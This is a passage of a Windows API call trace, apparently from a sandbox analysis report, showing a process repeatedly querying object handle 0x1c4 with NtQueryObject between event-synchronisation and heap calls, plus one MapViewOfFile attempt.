Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.255] ResetEvent (hEvent=0x110) returned 1 [0259.255] SetEvent (hEvent=0x114) returned 1 [0259.255] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.255] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.258] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.258] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.258] ResetEvent (hEvent=0x110) returned 1 [0259.258] SetEvent (hEvent=0x114) returned 1 [0259.258] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.259] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.259] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.259] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.259] ResetEvent (hEvent=0x110) returned 1 [0259.259] SetEvent (hEvent=0x114) returned 1 [0259.259] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.259] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.260] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.260] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.260] ResetEvent (hEvent=0x110) returned 1 [0259.260] SetEvent (hEvent=0x114) returned 1 [0259.260] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.260] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.260] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.260] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.260] ResetEvent (hEvent=0x110) returned 1 [0259.260] SetEvent (hEvent=0x114) returned 1 [0259.260] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.260] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.261] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.261] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.261] ResetEvent (hEvent=0x110) returned 1 [0259.261] SetEvent (hEvent=0x114) returned 1 [0259.261] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.261] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.262] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.262] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.262] ResetEvent (hEvent=0x110) returned 1 [0259.262] SetEvent (hEvent=0x114) returned 1 [0259.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.262] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.262] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.262] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.262] ResetEvent (hEvent=0x110) returned 1 [0259.262] SetEvent (hEvent=0x114) returned 1 [0259.262] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.262] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.263] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.263] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.263] ResetEvent (hEvent=0x110) returned 1 [0259.263] SetEvent (hEvent=0x114) returned 1 [0259.263] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.263] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.263] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.264] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.264] ResetEvent (hEvent=0x110) returned 1 [0259.264] SetEvent (hEvent=0x114) returned 1 [0259.264] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.264] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.264] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.264] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.264] ResetEvent (hEvent=0x110) returned 1 [0259.264] SetEvent (hEvent=0x114) returned 1 [0259.264] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.264] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.265] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.265] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.265] ResetEvent (hEvent=0x110) returned 1 [0259.265] SetEvent (hEvent=0x114) returned 1 [0259.265] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.265] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.265] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.265] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.265] ResetEvent (hEvent=0x110) returned 1 [0259.265] SetEvent (hEvent=0x114) returned 1 [0259.266] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.266] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.266] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.266] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.266] ResetEvent (hEvent=0x110) returned 1 [0259.266] SetEvent (hEvent=0x114) returned 1 [0259.266] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.266] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.267] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.267] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.267] ResetEvent (hEvent=0x110) returned 1 [0259.267] SetEvent (hEvent=0x114) returned 1 [0259.267] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.267] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.267] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.267] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.267] ResetEvent (hEvent=0x110) returned 1 [0259.267] SetEvent (hEvent=0x114) returned 1 [0259.267] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.267] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.268] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.268] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.268] ResetEvent (hEvent=0x110) returned 1 [0259.268] SetEvent (hEvent=0x114) returned 1 [0259.268] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.268] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.269] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.269] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.269] ResetEvent (hEvent=0x110) returned 1 [0259.269] SetEvent (hEvent=0x114) returned 1 [0259.269] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.269] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.269] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.269] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.269] ResetEvent (hEvent=0x110) returned 1 [0259.269] SetEvent (hEvent=0x114) returned 1 [0259.269] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.269] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.270] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.270] ResetEvent (hEvent=0x110) returned 1 [0259.270] SetEvent (hEvent=0x114) returned 1 [0259.270] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.270] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.270] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.271] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.271] ResetEvent (hEvent=0x110) returned 1 [0259.271] SetEvent (hEvent=0x114) returned 1 [0259.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.271] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.271] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.271] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.271] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.271] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.271] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.271] ResetEvent (hEvent=0x110) returned 1 [0259.271] SetEvent (hEvent=0x114) returned 1 [0259.271] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.271] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.272] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.272] ResetEvent (hEvent=0x110) returned 1 [0259.272] SetEvent (hEvent=0x114) returned 1 [0259.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.272] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.272] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.273] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.273] ResetEvent (hEvent=0x110) returned 1 [0259.273] SetEvent (hEvent=0x114) returned 1 [0259.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.273] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.273] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.273] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.273] ResetEvent (hEvent=0x110) returned 1 [0259.273] SetEvent (hEvent=0x114) returned 1 [0259.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.273] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.274] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.274] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.274] ResetEvent (hEvent=0x110) returned 1 [0259.274] SetEvent (hEvent=0x114) returned 1 [0259.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.274] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.274] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.274] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.274] ResetEvent (hEvent=0x110) returned 1 [0259.274] SetEvent (hEvent=0x114) returned 1 [0259.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.275] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.275] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.275] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.275] ResetEvent (hEvent=0x110) returned 1 [0259.275] SetEvent (hEvent=0x114) returned 1 [0259.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.275] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.276] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.276] ResetEvent (hEvent=0x110) returned 1 [0259.276] SetEvent (hEvent=0x114) returned 1 [0259.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.276] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.276] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.276] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.276] ResetEvent (hEvent=0x110) returned 1 [0259.276] SetEvent (hEvent=0x114) returned 1 [0259.276] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.276] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.277] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.277] ResetEvent (hEvent=0x110) returned 1 [0259.277] SetEvent (hEvent=0x114) returned 1 [0259.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.277] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.277] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.278] ResetEvent (hEvent=0x110) returned 1 [0259.278] SetEvent (hEvent=0x114) returned 1 [0259.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.278] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.278] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.278] ResetEvent (hEvent=0x110) returned 1 [0259.278] SetEvent (hEvent=0x114) returned 1 [0259.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.278] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.279] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.279] ResetEvent (hEvent=0x110) returned 1 [0259.279] SetEvent (hEvent=0x114) returned 1 [0259.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.279] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.279] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.279] ResetEvent (hEvent=0x110) returned 1 [0259.279] SetEvent (hEvent=0x114) returned 1 [0259.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.280] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.280] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.280] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.280] ResetEvent (hEvent=0x110) returned 1 [0259.280] SetEvent (hEvent=0x114) returned 1 [0259.280] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.280] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.281] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.281] ResetEvent (hEvent=0x110) returned 1 [0259.281] SetEvent (hEvent=0x114) returned 1 [0259.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.281] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.281] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.281] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.281] ResetEvent (hEvent=0x110) returned 1 [0259.281] SetEvent (hEvent=0x114) returned 1 [0259.281] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.281] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.282] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.282] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.282] ResetEvent (hEvent=0x110) returned 1 [0259.282] SetEvent (hEvent=0x114) returned 1 [0259.282] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.282] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.283] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.283] ResetEvent (hEvent=0x110) returned 1 [0259.283] SetEvent (hEvent=0x114) returned 1 [0259.283] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.283] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.283] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.283] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: 